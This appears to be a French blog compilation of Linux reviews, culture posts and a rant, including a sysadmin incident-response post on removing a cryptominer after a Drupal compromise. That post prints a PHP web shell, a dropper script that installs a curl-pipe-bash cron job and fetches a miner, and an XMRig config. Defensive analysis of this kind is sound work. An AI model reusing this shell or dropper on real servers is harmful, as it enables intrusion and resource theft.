C’est officiel, je suis enfin devenu un vieux con… Youpi !

Certaines personnes diront que ce n’est pas une nouvelle, et je dois dire que je ne prendrai pas la mouche si cela était affirmé.

Je m’adresse à mes lectrices et mes lecteurs – je préfère éviter la novlangue qu’est l’écriture inclusive – dont l’année de naissance est située entre 1969 et 1978, au moment où je rédige ce billet en mai 2018 . Oui, je parle des personnes dont l’âge s’écrit en deux chiffres, le premier étant un 4.

Replongez-vous dans les années 1989-1998. Quand vous avez atteint l’âge tant rêvé de 20 ans. Vous n’étiez pas des jeunes cons ou de jeunes connes, remplis d’idéaux que la vie a fait disparaître ?

N’avez-vous pas été obligé de déchanter et de « mettre de l’eau dans votre vin » pour pouvoir avancer un tant soit peu ?

C’est suite à un énième viol dénoncé par un mouvement féministe plus proche de la misandrie que de la défense des femmes que je me suis aperçu que j’étais devenu aux yeux de la génération née dans les années 1990 comme un vieux con.

Je vous laisse découvrir le fil. Je dois vous dire que quand je lis de tels propos, je pense que certaines femmes sont des publicités vivantes pour la vasectomie tant leurs propos sont haineux.

On pourrait dire qu’en contrepartie certains connards, euh désolé, je voulais dire masculinistes ne valent pas mieux et sont une publicité vivante pour l’hystérectomie. D’ailleurs, les féministes extrémistes ont besoin des masculinistes pour vivre et inversement.

Mais désolé, je m’emporte. Il ne faut surtout pas faire remarquer à la jeune génération que leur vécu est proche de zéro par rapport à la génération de leurs parents, génération dont je fais partie par l’âge, bien que n’ayant aucune descendance à cause des aléas de la vie.

Oui, je suis devenu un vieux con. Je deviendrai un vieil emmerdeur d’ici une vingtaine d’années, et j’en suis fier. Je m’en délecte. Je dois dire qu’en lisant de tels propos, il y a de quoi devenir misanthrope.

Je sais que j’aurai ma vengeance, quand dans une vingtaine d’années la jeune génération actuelle se fera chier dessus par leur progéniture. Tout vient à point à qui sait attendre.

Allez, trêve de bavardages, le vieux con que je suis va se remettre la musique qui a bercé son enfance et qui ne se résume pas à de la techno diarrhéique – tiens un pléonasme ? – poussée à fond la caisse.

En vrac’ de fin de semaine…

Comme chaque fin de semaine, l’habituel en vrac… Très court, l’actualité informatique étant aussi épaisse qu’une feuille de papier à cigarette. Et la culture, c’est pas mieux, par manque de temps, désolé !

Côté logiciel libre, informatique et internet.

Côté culture ?

Bon week-end 🙂

LXQt 0.13.0 : une évolution en douceur…

Cela fait plus d’un an et demi – au moment où je rédige ce billet fin mai 2018 – que je n’ai plus parlé de LXQt sur mon blog. La version 0.12.0 est sortie entre temps, mais je n’avais pas eu envie d’en parler. Cependant la sortie de la version 0.13.0 m’a fait changé d’avis, surtout quand j’ai lu ceci :

The LXQt team is working hard towards LXQt 1.0.0.

Une traduction rapide ?

L’équipe de LXQt travaille dur pour LXQt 1.0.0.

J’ai donc décidé – et je ne savais pas que l’équipe d’Archlinux allait me griller la politesse – de faire recompiler LXQt 0.13.0 dans une machine virtuelle avec Openbox et sddm installée via Anarchy Linux.

Je me suis basé sur les informations disponibles sur le wiki de LXQt.

Et voici la liste d’une petite trentaine de paquet à faire recompiler…

  • libqtxdg (3.2.0)
  • lxqt-build-tools (0.5.0)
  • liblxqt (0.13.0)
  • libsysstat (0.4.1)
  • compton-conf (0.4.0) ; paquet sur AUR
  • libfm-qt (0.13.0)
  • lxqt-themes (0.13.0)
  • lxqt-qtplugin (0.13.0)
  • pavucontrol-qt (0.4.0)
  • qtermwidget (0.9.0)
  • lximage-qt (0.7.0)
  • lxqt-about (0.13.0)
  • lxqt-admin (0.13.0)
  • lxqt-config (0.13.0)
  • lxqt-globalkeys (0.13.0)
  • lxqt-notificationd (0.13.0)
  • lxqt-openssh-askpass (0.13.0)
  • lxqt-policykit (0.13.0)
  • lxqt-powermanagement (0.13.0)
  • lxqt-session (0.13.0)
  • lxqt-sudo (0.13.0)
  • pcmanfm-qt (0.13.0)
  • qterminal (0.9.0)
  • obconf-qt (0.13.0)
  • lxqt-panel (0.13.0)
  • lxqt-runner (0.13.0)

Outils complémentaires ?

  • screengrab (1.98) ; paquet sur AUR en utilisant screengrab-git
  • qps (1.18.0) ; paquet sur AUR
  • breeze-icons
  • oxygen-icons

L’apparence brute de décoffrage est assez moche..


Après avoir bataillé pour rajouter des outils complémentaires, un jeu d’icones un tant soit peu lisible, j’ai enregistré l’ensemble en vidéo.

Comme vous avez pu le voir, en utilisant Compton, on a droit à un environnement tout en « bling bling » sans pour autant tomber dans la consommation excessive de mémoire vive.

LXQt s’améliore, mais il lui manque encore quelques outils basiques en natif comme une calculatrice, un bloc-notes ou encore un gestionnaire d’archives.

Les progrès accomplis sont énormes. J’avoue que j’ai été agréablement surpris par le résultat, ne m’attendant pas à un tel avancement en l’espace de 18 mois. Félicitations aux développeurs de LXQt, au moins, vous redorez le blason terni du logiciel libre 🙂

Devenir SysAdmin d’une PME – Mineur de bitcoin- Billet n°2

Ce billet fait partie de la série :
- Devenir SysAdmin d'une PME, retour d'expérience - Billet n°0

Comme le disait SebOS666 dans son billet Décoder un script PHP malveillant, comment s'en protéger, les failles Drupal récentes (Drupalgeddon) étaient bien critiques et les sites non mis à jour ont conduits à l'infection de serveurs par des mineurs de bitcoin.

Attention :
- je ne suis pas expert en sécurité, juste un sysadmin ayant un peu d'expérience. Et je suis preneur de tout complément d'information dans les commentaires. J'ai gardé les codes sources exactes, j'ai anonymisées certaines parties pour des raisons pratiques. Ce billet synthétise deux attaques différentes.
- le but ici n'est pas d'analyser le problème Drupal (on est plus dans le domaine de la sécurité) que de montrer qu'en tant que sysadmin, on peut déjà faire des choses... Et la partie "PHP / Faille Drupal" est volontairement vide.

Mineur de bitcoin Détection & Root Cause

Détection : la supervision montre des graphs anormaux de charge processeur sur une machine qui héberge un site web.
Une connexion SSH permet de lancer un htop qui donne un processus qui tourne à 100% depuis un moment...

Cause : exploitation d'une faille du site sous Drupal qui n'est pas dans la toute dernière version.

Analyse des processus

Via htop on a processus chron-34e2fg qui tourne un fond. Et on a son PID

un PID. La commande lsof donne le chemin du programme a la source :

root@machine:~$ lsof -p le_PID
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
chron-34e 2059 www-data cwd DIR 202,1 4096 2 /
chron-34e 2059 www-data txt REG 202,1 2368064 264466 /var/tmp/.jnks/chron-34e2fg
chron-34e 2059 www-data 0r FIFO 0,8 0t0 478384 pipe
chron-34e 2059 www-data 1u REG 202,1 46558 395911 /tmp/tmpfW5PPSg
chron-34e 2059 www-data 2u REG 202,1 46558 395911 /tmp/tmpfW5PPSg
chron-34e 2059 www-data 3u 0000 0,9 0 1202 anon_inode
chron-34e 2059 www-data 8u 0000 0,9 0 1202 anon_inode
chron-34e 2059 www-data 9r CHR 1,3 0t0 1204 /dev/null
chron-34e 2059 www-data 10u IPv4 479092 0t0 TCP localhost:59304->ip56.ip-217-XXX-XXX.eu:https (ESTABLISHED)

On a tous les processus qui sont derrière ce PID et les fichiers incriminés à supprimer.

Autre cas avec un autre mineur :

root@machine:/# ps -aux |grep sus
rapport+ 19884 0.1 0.0 178868 944 ? Ssl 06:35 0:00 ./sustes -c config.json -t 1


Dans ce cas là, on a un fichier de configuration.


Détection des processus et fichiers ouverts par un utilisateur


root@machine:/# lsof -u www-data
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
sh 5399 www-data cwd DIR 8,1 4096 817666 /var/www/vhosts/monsite.com
sh 5399 www-data rtd DIR 8,1 4096 2 /
sh 5399 www-data txt REG 8,1 125400 1088 /bin/dash
sh 5399 www-data mem REG 8,1 1738176 161 /lib/x86_64-linux-gnu/libc-2.19.so
sh 5399 www-data mem REG 8,1 140928 158 /lib/x86_64-linux-gnu/ld-2.19.so
sh 5399 www-data 0r FIFO 0,8 0t0 263035594 pipe
sh 5399 www-data 1u REG 8,1 0 11993 /tmp/tmpfsy8gCO
curl 5400 www-data cwd DIR 8,1 4096 817666 /var/www/vhosts/monsite.com
curl 5400 www-data rtd DIR 8,1 4096 2 /
curl 5400 www-data txt REG 8,1 182216 307756 /usr/bin/curl

On retrouve la commande curl (cf ci-dessous) et la commande appelant le fichier dans /tmp

Blocage des IP des serveurs extérieurs

Dans les processus on voit donc une connexion sur ip56.ip-217-XXX-XXX.eu

On cherche l'IP derrière cette machine via un simple et bête ping

root@machine:~$ ping ip56.ip-217-XXX-XXX.eu
PING ip56.ip-217-XXX-XXX.eu (217.182.231.56) 56(84) bytes of data.
64 bytes from ip56.ip-217-XXX-XXX.eu (217.182.231.56): icmp_req=1 ttl=58 time=13.2 ms
64 bytes from ip56.ip-217-XXX-XXX.eu (217.182.231.56): icmp_req=2 ttl=58 time=18.9 ms
^C
--- ip56.ip-217-XXX-XXX.eu ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 13.284/16.102/18.920/2.818 ms

Un rapide check sur Internet indique que c'est un noeud d'entrée TOR.

On bannira cette IP.

On regarde le contenu du fichier de configuration

more config.json
{
"algo": "cryptonight", // cryptonight (default) or cryptonight-lite
"av": 0, // algorithm variation, 0 auto select
"background": true, // true to run the miner in the background
"colors": true, // false to disable colored output
"cpu-affinity": null, // set process affinity to CPU core(s), mask "0x3" for cores 0 and 1
"cpu-priority": null, // set process priority (0 idle, 2 normal to 5 highest)
"donate-level": 1, // donate level, mininum 1%
"log-file": null, // log all output to a file, example: "c:/some/path/xmrig.log"
"max-cpu-usage": 95, // maximum CPU usage for automatic mode, usually limiting factor is CPU cache not this option.
"print-time": 60, // print hashrate report every N seconds
"retries": 5, // number of times to retry before switch to backup server
"retry-pause": 5, // time to pause between retries
"safe": false, // true to safe adjust threads and av settings for current CPU
"threads": null, // number of miner threads
"pools": [
{
"url": "158.69.XXXX.XXXX:3333", // URL of mining server
"user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3Ywq", // username for mining server
"pass": "x", // password for mining server
"keepalive": true, // send keepalived for prevent timeout (need pool support)
"nicehash": false // enable nicehash/xmrig-proxy support
},
{
"url": "192.99.XXXX.XXXX:3333", // URL of mining server
"user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqD", // username for mining server
"pass": "x", // password for mining server
"keepalive": true, // send keepalived for prevent timeout (need pool support)
"nicehash": false // enable nicehash/xmrig-proxy support
},
{
"url": "202.144.XXX.XXX:3333", // URL of mining server
"user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfg", // username for mining server
"pass": "x", // password for mining server
"keepalive": true, // send keepalived for prevent timeout (need pool support)
"nicehash": false // enable nicehash/xmrig-proxy support
}
],
"api": {
"port": 0, // port for the miner API https://github.com/xmrig/xmrig/wiki/API
"access-token": null, // access token for API
"worker-id": null // custom worker-id for API
}
}

On bannira ces IP.

Vérification des connexions réseaux actives

Trois commandes et outils pour voir les connexions actives avant et après le bannissement

netstat -puant
Nethogs
Iftop

qui confirment les connexions aux serveurs.

Bannir les IP

Pour chaque série d'IP, on bannit via iptables

iptables -A INPUT -s 217.182.231.56 -j DROP
iptables -A OUTPUT -d 217.182.231.56 -j DROP

Connexion sortantes et entrantes bloquées, nettoyage...

Méthode barbare

rm -rf /tmp
rm -rf /var/tmp

Et on tue les processus liés à www-data

killall -u www-data

Autres fichiers en PHP dans la partie Drupal - site web

Dans le dossier Drupal, on fait du nettoyage de tout ce qui n'est pas lié à Drupal. ON trouve, entre autres des fichiers étranges.

$ ls
css.php sl.php ifm.php phpminiadmin.php 404.php iindex.php
cat lefichier |base64 -d
if(isset($_REQUEST['pass']))
{
echo "
"; 
$hash = hash("sha512", $_REQUEST['pass']);
if($hash == "e7f1b39e46ee003976cecc130362059edd1785e0dd8c6bd02f29d7...")
{ if(isset($_REQUEST['cmd'])) { $cmd = ($_REQUEST['cmd']); system(base64_decode($cmd)); }}
else echo "gtfo";
echo "
";
die;
}

Pour le reste, je vous renvoie à Décoder un script PHP malveillant, comment s'en protéger, le but ici n'est pas d'analyser le problème Drupal (on est plus dans le domaine de la sécurité) que de montrer qu'en tant que sysadmin, on peut déjà faire des choses...

Les fichiers réapparaissent

Malgré les kill, le processus se relance et les fichiers réapparaissent.

On regarde de nouveau les processus

root@machine:/# ps -aux |grep rapport
rapport+ 15416 0.0 0.0 4336 764 ? Ss 09:46 0:00 /bin/sh -c curl -s http://192.99.XXX.XXX:8220/logo9.jpg | bash -s
rapport+ 15418 0.0 0.0 13236 2996 ? S 09:46 0:00 bash -s
rapport+ 15449 0.0 0.0 5808 692 ? S 09:46 0:00 sleep 3
root 15595 0.0 0.0 12728 2248 pts/1 S+ 09:46 0:00 grep rapport

root@machine:/# ps -eaf |grep rapport
rapport+ 16536 16535 0 09:47 ? 00:00:00 /bin/sh -c curl -s http://192.99.XXX.XXX:8220/logo9.jpg | bash -s
rapport+ 16537 16536 0 09:47 ? 00:00:00 curl -s http://192.99.XXX.XXX:8220/logo9.jpg
rapport+ 16538 16536 0 09:47 ? 00:00:00 bash -s
rapport+ 16941 15854 0 09:47 ? 00:00:00 php-fpm: pool monsite.com
root 16959 14566 0 09:47 pts/1 00:00:00 grep rapport
On un curl qui est lancé (qui était masqué).

On récupère le fichier via wget et on regarde son contenu

$ cat logo9.jpg
#!/bin/sh
pkill -f 192.99.XXX.XXX
pkill -f suppoie
ps aux | grep -vw sustes | awk '{if($3>40.0) print $2}' | while read procid
do
kill -9 $procid
done
rm -rf /dev/shm/jboss
ps -fe|grep -w sustes |grep -v grep
if [ $? -eq 0 ]
then
pwd
else
crontab -r || true && \
echo "* * * * * curl -s http://192.99.XXX.XXX:8220/logo9.jpg | bash -s" >> /tmp/cron || true && \
crontab /tmp/cron || true && \
rm -rf /tmp/cron || true && \
curl -o /var/tmp/config.json http://192.99.XXX.XXX:8220/3.json
curl -o /var/tmp/sustes http://192.99.XXX.XXX:8220/rig
chmod 777 /var/tmp/sustes
cd /var/tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$((($proc+1)/2))
num=$(($cores*3))
/sbin/sysctl -w vm.nr_hugepages=`$num`
nohup ./sustes -c config.json -t `echo $cores` >/dev/null &
fi
sleep 3
echo "runing....."

Un script shell lié à une IP qui n'a rien à voir, qui se masque et qui relance la création des mineurs de bitcoins....

C'est ce processus masqué qui fait revenir les fichiers...

Ban de l'IP

iptables -A INPUT -s 192.99.XXX.XXX -j DROP
iptables -A OUTPUT -s 192.99.XXX.XXX -j DROP

Nettoyage des tâches cron

Et malrgé tout ça, il y a une relance du processus... Même si les fichiers ne réapparaissent pas.

En effet, l'astuce est qu'il y a des crontab spécifiques aux sites hébergés sont dans /var/spool/cron/crontabs
Il reste des tâches à nettoyer :

root@machine:/var/spool/cron/crontabs# ls
www-data

cat www-data
root@machine:/var/spool/cron/crontabs# cat www-data
# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (/tmp/cron installed on Mon May 21 09:46:01 2018)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
* * * * * curl -s http://192.99.XXX.XXX:8220/logo9.jpg | bash -s

Il faut supprimer ces fichiers et tuer tous les processus liés à l'utilisateur

rm /var/spool/cron/crontabs/www-data
killall -u www-data

Changement des droits de /var/tmp

Par défaut, les droits de /var/tmp était en 777 sur cette machine...

chmod 755 /var/tmp

comme ça le processus lié à l'utilisateur php ne peut plus écrire.

Conclusion

On finit par la mise à jour du serveur. On a alors un site qui peut rester en ligne, le n temps que l'on reparte sur un autre serveur virtuel bien propre sur lequel on restaure la sauvegarde du site, on met à jour, et on bascule. Et on supprime la machine compromise. Sait-on jamais...

Que devient la DFLinux Stretch en mai 2018 ?

La dernière fois que j’ai parlé de la descendante de la HandyLinux, cela remonte à une petite année, du moins où je rédige ce billet. À l’époque, c’était en version béta 1.

Depuis, la distribution est sortie et si on en croit le framagit du projet, la dernière modification remonte à l’été 2017… Il ne faut par oublier qu’Arpinux a décidé de quitter le monde du libre et il n’y a pas de quoi être étonné.

J’ai été sur le site officiel du projet, et j’ai récupéré la dernière image ISO en date via bittorrent.

Ensuite, j’ai créé une machine virtuelle classique avec 2 Go de mémoire vive, 128 Go de disque, et 2 CPU pour lancer cette Debian GNU/Linux Stretch sous Xfce à peine retouchée. J’ai pris l’installation simplifiée.

L’installateur Debian a été assez simple, mis à part l’obligation de préciser l’endroit où installer le Grub à la main… C’est vraiment l’installateur simplifié ?

Quoiqu’il en soit, au démarrage suivant, j’ai eu droit à l’écran d’accueil qui met directement dans le bain.

Le gros morceau ? L’installation d’environ 290 mises à jour. Tout cela pour passer de la Debian GNU/Linux Stretch 9.1 vers la 9.4.

J’ai ensuite fait chauffer mon ami SimpleScreenRecorder pour montrer la DFLinux Stretch en action.

J’ai été agréablement surpris par le fait que la montée en version de la distribution se soit passée correctement. Évidemment, on est face à une version de Debian qui a déjà un an, et si on reste sur les dépôts stables, ça commence à sentir un brin le renfermé sur certains logiciels. L’utilisation des dépots de rétroportage pourrait être envisagé, mais je ne pense pas que ce soit quelque chose d’abordable facilement par le public ciblé.

C’est un projet qui reste solide. J’espère juste qu’il ne sera pas abandonné quand la Debian GNU/Linux Buster sortira en milieu d’année 2019, si on suit le cycle classique de publication de 2 ans pour chaque nouvelle itération stable de Debian.

Que sont-elles devenues les distributions GNU/Linux de 2013 ? Première partie.

Début décembre 2017, je terminais le bilan de l’année 2012 en terme de distributions GNU/Linux. Je voulais voir quel était le taux de mortalité des projets dans ce domaine précis du monde du logiciel libre.

Près de 6 mois – au moment où je rédige ce billet, le 22 mai 2018 – sont passés. J’ai décidé donc de m’y remettre avec un premier gros billet qui couvre la période qui court de janvier à mai 2013… Histoire de voir ce que les distributions GNU/Linux dont j’ai pu parler sont devenues… Je sens que ça va pas être triste à voir…

Janvier 2013 :

Février 2013 :

Mars 2013 :

Avril 2013 :

Mai 2013 :

Quel bilan des 5 premiers mois de l’année 2013 ?

Disparition :

  1. ColorWheel OS
  2. HazeOS absorbée par le projet Nutrix
  3. SlackE17
  4. SolusOS devenu la Solus tout court
  5. LSD Linux
  6. CinnArch devenue Antergos

Donc cela nous fait 6 disparitions sur les 26 distributions listées… 23% du total… Autant dire que le premier semestre de 2013 part en fanfare… Je me demande si d’ici le billet de décembre 2018, j’arriverai à 50% de casse, tiens…

Devenir SysAdmin d’une PME – Gestion du legacy- Billet n°1

Ce billet fait partie de la série :
- Devenir SysAdmin d'une PME, retour d'expérience - Billet n°0

Le legacy ?

Dans le présent billet je voudrais parler du legacy. Sous le terme de legacy ou héritage en anglais, j'inclue l'ensemble des machines et serveurs du système d'information que l'on a en gestion, et dont, on hérite d'une certaine façon en reprenant la gestion du parc informatique.

En quoi est-ce un point important ? Afin de pouvoir aller vers l'avenir, il faut déjà regarder le passé et faire un état des lieux. L'objectif est d'avoir une parfaite vue d'ensemble des machines, de leurs rôles, de leurs criticités... De savoir ce qui est documenté et ce qui ne l'est pas, de savoir quelle machine sert à quoi...

En premier lieu il est important de dresser un inventaire exhaustif du par informatique côté serveur (dans un premier temps on exclue les postes utilisateurs : chacun est administrateur de sa machine, sous une distribution GNU/Linux de son choix et cela simplifie grandement les choses en terme de maintenance des postes utilisateurs...)

Dresser une cartographie complète de l'existant

A ma connaissance, il y a deux façons : la façon barbare et la façon longue et fastidieuse

La façon barbare : Il faut préalable connaître l'ensemble des plages IP utilisées sur le réseau de l'entreprise et on fait alors un scan en mode intense via Nmap de l'ensemble des IP de ces plages, depuis une machine du réseau interne. Avec un peu de chance on se fait bannir rapidement par un outil de détection... ou pas.

Ce scan intense permet de savoir sur quelle IP quelle machine répond, d'avoir son OS et sa version, les ports ouverts... A moins que les machines soient bien configurées et sécurisées, cela donne une bonne idée des plages IP occupées, des machines qu'il y a derrière et donne une bonne base de travail.

La façon plus moderne

Avec un peu de chance un outil du type Ansible a été mis en place et les machines sont ansiblelisées. On pourra donc se baser (se reposer) sur des playbooks existants pour avoir une base pour interroger les machines de façon moins barbare.

la façon longue et fastidieuse

J'évoquais dans mon article précédent le fait que je ne pars pas de rien, j'ai connaissance d'une liste des machines, dont des hyperviseurs sur lesquels tournent des machines virtuelles. J'ai accès à ces hyperviseurs. Je me connecte donc au hyperviseurs et de là je me connecte aux machines virtuelles. Je notes les caractéristiques qui m'intéressent, je vois ce que ces machines contiennent en terme de services... Une à une, je me connecte à la machine et je note les informations pertinentes dans un tableau que j'enrichis au fur et à mesure.

Long. Très long. Mais cela m'a permis de valider que j'ai bien accès à chacune des machines (j'ai ensuite tester une connexion depuis ma machine en SSH pour valider que ma clef publique a bien été déployée sur chaque serveur par le système qui le fait de façon automatisée), que la machine est accessible, fonctionnelle...

Tableau de suivi

J'ai donc constitué un tableau dans un tableur pour faire mon suivi. Les colonnes sont les suivantes :
- Nom de machine,
- IP publique
- IP privée
- Groupe
- Wiki : j'ai créer une page dédiée pour cette machine que j'enrichis au fur et à mesure
- Services
- Etat des sauvegardes : sauvegardée ou non
- Version de l'OS
- Etat des mises à jour
- Présence ou non de fail2ban
- Liste des ports ouverts sur l'extérieur
- Machine faisant partie de la liste des machines supervisées par notre outil (un billet complet sera dédié à la supervision).
...

Comment gérer le legacy ? Des O.S. obsolètes...

Que ce soit des machines virtuelles ou physiques, le constat est bien ce que l'on pouvait redouter : des tas de machines sont souvent sous des versions obsolètes d'O.S. non maintenues... Il va y avoir du travail.

Il ne faut surtout pas se précipiter et migrer de version en version de Debian à coup de dist-upgrade. Il faut comprendre pourquoi ces machines ne sont pas à jour, quels logiciels et dans quels versions tournent sur ces serveurs... Dépendance à une version particulière de PHP ? La migration sur une version plus récente casse une API ? Les raisons sont multiples et avant de penser "Et la sécurité, vite faut mettre à jour", il faut penser "de toute façon ça tournait jusque là, donc on reste calme, on réfléchit et on avise".

Il faut prendre ça avec humour.

Vu les uptime et les versions d'OS, vu que le parc informatique est composé à 99% de machine Debian en version stable (de différentes époques), je peux affirmer que oui, Debian stable, c'est stable.

Comment gérer le legacy ? Cas de la gestion des machines physiques

Dans la liste des serveurs, il y a des machines qui sont des vrais serveurs physiques. On pense donc aux capacités de redondance : alimentations redondées, ventilateurs redondés, disques en RAID... Le soucis est que je ne sais pas quand les machines ont été achetés, elles tournent 24h sur 24h...

Dans une vie précédente, j'ai été confronté au cas suivant : des serveurs de plus de dix ans... Un ventilateur de la baie de disque a lâché. Pas grave, c'est redondé, on verra bien. Sauf que le deuxième ventilateur a tourné plus vite pour compenser la dissipation de chaleur nécessaire, a lâché quelques jours après. Interruption de la baie de disques et de la production, nécessité de renouveler du matériel en urgence et bien que sous garantie étendue par le constructeur, ils ont mis plusieurs jours à retrouver un modèle compatible au fin d'un stock à l'autre bout de la France et à le faire revenir... en urgence...

Cette expérience m'a marquée et depuis, je fais un check régulier des machines de la salle serveur. Un contrôle journalier des différents voyants des différents serveurs. L'objectif est de prévoir & anticiper les pannes.

Et surtout je commence à anticiper et à prévoir une migration de toutes les machines que je peux migrer sur des machines virtuelles avec des O.S. plus récent et ansiblelisés. L'intérêt de passer de machines physiques à des machines virtuelles dans un vraie data-center et de faire abstraction de la gestion du matériel et de délégué ça à des personnes dont c'est vraiment le métier...

Comment gérer le legacy ? Lister les priorités et les services critiques

Une fois que l'on a une cartographie un peu plus complète, il faut alors lister les machines critiques, avec leurs importances (serveur de mail, d'impression, DNS...) et au plus vite vérifier :
- que l'on a des sauvegardes et que l'on sait les restaurer ;
- que ces sauvegardes marchent ;
- que les machines sont à jour...

Il faut savoir pour chaque machine sa criticité, avoir un PRA (Plan de Rétablissement de l'Activité) et pour le cas des sauvegardes, partir du principe que si on ne sait pas, cela n'existe pas. Peut-être (et sûrement) qu'il y a des sauvegardes régulières et automatisées. Mais si on ne sait pas, on ne sait donc pas restaurer les données et les sauvegardes ne servent à rien en l'état. Donc là encore un gros chantier pour vérifier que tout est bien sauvegarder et avoir un système de sauvegarde uniforme, efficace et puissant (BORG !).

Conclusion

Un deuxième billet qui montre le début d'un long chantier que j'ai entamé avec plusieurs heures de travail par jour pendant des semaines.

Dans les prochains sujets, il y aura la Supervision, les Sauvegardes, la Sécurité, les montées en version et les mises à jours.... Encore plein de sujets et d'expériences à faire sur mon histoire et comment je deviens SysAdmin d'une PME. A suivre donc.

« Good Foot Good Eye », le quatrième opus réussi des parisiens de Horst.

En juillet 2016, j’avais été contacté par Horst pour me parler de leur musique, le horstcore, qui mélange le post-rock et de math rock, entièrement instrumental.

J’ai été recontacté récemment par le groupe qui m’a annoncé la sortie de son nouvel opus « Good Foot Good Eye » que l’on peut traduire par « bon pied, bon oeil » 🙂

Côté durée, on est dans les normes du post-rock. 6 pistes et 38 minutes, on se trouve avec une bonne moyenne.

Le groupe reprend un des grands classiques du post-rock, utilisé abondamment par Have The Moskovik, entre autres. Les textes parlés mis en musique, avec des ambiances bien lourdes.

On sait que l’on est dans du post-rock dès qu’on lit le titre de la première piste : « We Will Win When We Want, Won’t We Winnie? »

Dans les extraits parlés de cette piste, on retrouve la tirade de Bernard Blier du film « Un idiot à Paris ». Scène particulièrement jouissive si vous ne la connaissez pas 🙂

Avec la deuxième piste « Kim Nawak », on trouve des rythmes plus rock, plus rentre dedans.

La troisième piste « Share Assossiss » (un jeu de mots assez recherché) continue cette veine rock… Qui envoie du lourd. Et pas qu’un peu 🙂

La quatrième piste est un peu « c’est quoi ça ? »… Il faut dire que « Fat & Furious » est vraiment bizarre en comparaison des pistes précédentes.

L’avant dernière piste « Death Rides A Horst » est un autre jeu de mot et surtout un clin d’oeil à un des quatres cavaliers de l’Apocalypse, « La Mort ». C’est une piste trop calme, où le rock se la joue ballade avant de terminer en fanfare.

L’ultime titre « Life Rides A Pony » reprend la structure de la piste qui l’a précédé, mais avec un peu moins de puissance. Il est vrai qu’entre un poney et un cheval, on ne joue pas dans la même catégorie au final 🙂

Pour conclure, ce quatrième opus des Horst est très bon. Si vous aimez le post-rock français, Horst est une valeur sûre à écouter… Ou à découvrir !

J’ai regardé MARS, la série : c’est compliqué

MARS est une docufiction en 6 épisodes sur l’exploration par l’homme de la planète rouge.

N’ayant pas réalisé dès le début l’aspect documentaire scientifique accolé à cette fiction, j’ai d’abord eu un mouvement de rejet quand j’ai vu apparaître Elon Musk. Ça puait le placement de produit.

Et puis j’ai compris. Je me suis un peu calmé, on ne peut pas parler de l’épopée martienne sans évoquer le travail d’Elon Musk, ok. Malgré un début difficile (un peu de mal sur un petit côté Top Gun) j’ai accroché et j’ai regardé jusqu’au bout, j’ai même envie de dire que j’ai bien aimé.

Mais.

Au final toute l’histoire est imprégnée d’un problème politique profond qui m’est cher : la disparition du commun, l’entreprise privée phagocyte l’Aventure humaine.

Dans ces 6 épisodes le propos est grave, l’humanité a besoin de Mars, mais qui pilote? Un Musk. Un grand leader à la fortune colossale qui malgré une instance internationale sensée porter les décisions reste le maître de cérémonie, le financier, l’investisseur. C’est une belle synthèse de notre monde. L’humanité n’a pas les moyens d’investir l’avenir, il faut qu’un « héros » des temps modernes prenne le relais avec ses milliards.

Ed Grann aurait vendu n’importe quoi. Mais il était plus qu’un simple commercial, il avait du génie.

On voit dans le film de nombreux passages sur Space X, les lanceurs, le centre de contrôle, et triste sir que je suis, je ne peux m’empêcher de me dire : quel système fou peut donner tant de puissance et de pouvoir à un seul homme.

Dans bien des secteurs ça peut choquer mais le problème avec Musk c’est que c’est un compte de fées. C’est merveilleux, grâce à lui on avance de façon incroyable sur le sujet, ses lanceurs qui reviennent au bercail sont une prouesse époustouflante. Et puis il est sympa, le self made man dingue des étoiles qui dépense sans compter sa fortune pour nos rêves, c’est si beau.

Je ne veux pas du tout accabler le gaillard (pas envie de me brouiller avec Florence) mais comme toujours le système qui permet de telles démesures. Musk n’est pas un salaud qui s’est dit « tiens je vais dépouiller les pauvres pour m’offrir des joujoux à envoyer dans l’espace ». C’est juste que notre monde lui permet de devenir un dominant majeur.

Le destin de l’humanité est de plus en plus entre les mains de quelques puissants, toujours plus puissants. Avec Elon Musk on peut penser que c’est une bonne chose, il investit dans un domaine où on n’a plus les moyens ma bonne dame, heureusement que de riches entrepreneurs de génie prennent la relève d’états ruinés. Mais c’est une arnaque catastrophique camarade 🙂

Les états sont (soit disant) ruinés parce que des Musk peuvent drainer vers eux des fortunes sans précédent. C’est le ruissellement tant annoncé, on s’était juste gouré sur le sens de l’écoulement. Je crois qu’il faut prendre du recul pour ne pas s’émerveiller de ce que font les rois, qu’ils soient bons ou pas, là n’est pas la question. Nous n’avons pas besoin d’hommes providentiels, nous avons besoin de commun, d’investissement dans la recherche, l’éducation, l’intelligence collective. Mais les budgets du commun baissent, et les ultra riches accumulent. Pour quoi faire? Des îles?

Admettons que placés dans une urgence apocalyptique, Mars nous apparaisse comme un canot de sauvetage. Ce sont des grandes sociétés qui nous y emmèneront? Elles qui décideront de notre sort? Les premières infrastructures sur Mars seront-elles des MacDo ?

Reprenons-nous, reprenons le pouvoir 🙂

 

 

Mémoires télévisuelles d’un enfant des années 1970, épisode 32 : l’épopée de « Que deviendront-ils ? »

S’il y a une série documentaire qui m’a marqué étant mome, c’était bien « Que deviendront-ils ? » Ce fut un projet de longue haleine, commencé en 1983 et terminé en 1992. Le synopsis de la série était simple : suivre la vie de cinq élèves d’une classe de sixième sur 10 ans.

Chaque année, Antenne 2 – qui devint France 2 – proposait un épisode d’une heure environ résumant l’année passée. Les enfants ne participaient pas forcément à chaque année, mais on avait des informations sur eux.

Le concept avait été développé par le duo Michel Fresnel (à la caméra) et Hélène Delebecque comme interlocutrice. Outre le côté un brin voyeuriste, c’était pour les enfants des années 1970 la possibilité de voir des personnes de leurs âges s’exprimer ouvertement.

